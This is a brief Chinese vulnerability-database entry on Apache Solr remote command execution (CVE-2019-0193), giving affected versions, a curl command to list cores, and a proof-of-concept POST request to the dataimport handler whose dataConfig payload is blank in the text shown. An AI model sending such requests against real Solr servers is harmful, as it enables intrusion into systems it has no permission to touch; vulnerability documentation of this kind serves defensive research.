Apache Solr远程命令执行 CVE-2019-0193

—
title: ‘Apache Solr远程命令执行 CVE-2019-0193’
date: Sat, 29 Aug 2020 11:09:52 +0000
draft: false
tags: [‘白阁-漏洞库’]
—

影响版本 apache solr 5.x-8.2.0,存在config API版本 获取所有 core 信息：curl [http://IP/solr/admin/cores](/static/baige/06-中间件框架漏洞/Apache/Apache Solr/http://IP/solr/admin/cores) HTTP协议头：POST /solr//dataimport

POC

“`
POST /solr//dataimport HTTP/1.1
Host: 127.0.0.1:8983
Content-Length: 763
User-Agent: Mozilla/5.0
Content-type: application/x-www-form-urlencoded
Connection: close

command=full-import&verbose=false&clean=false&commit=true&debug=true&core=&name=dataimport&dataConfig=







“`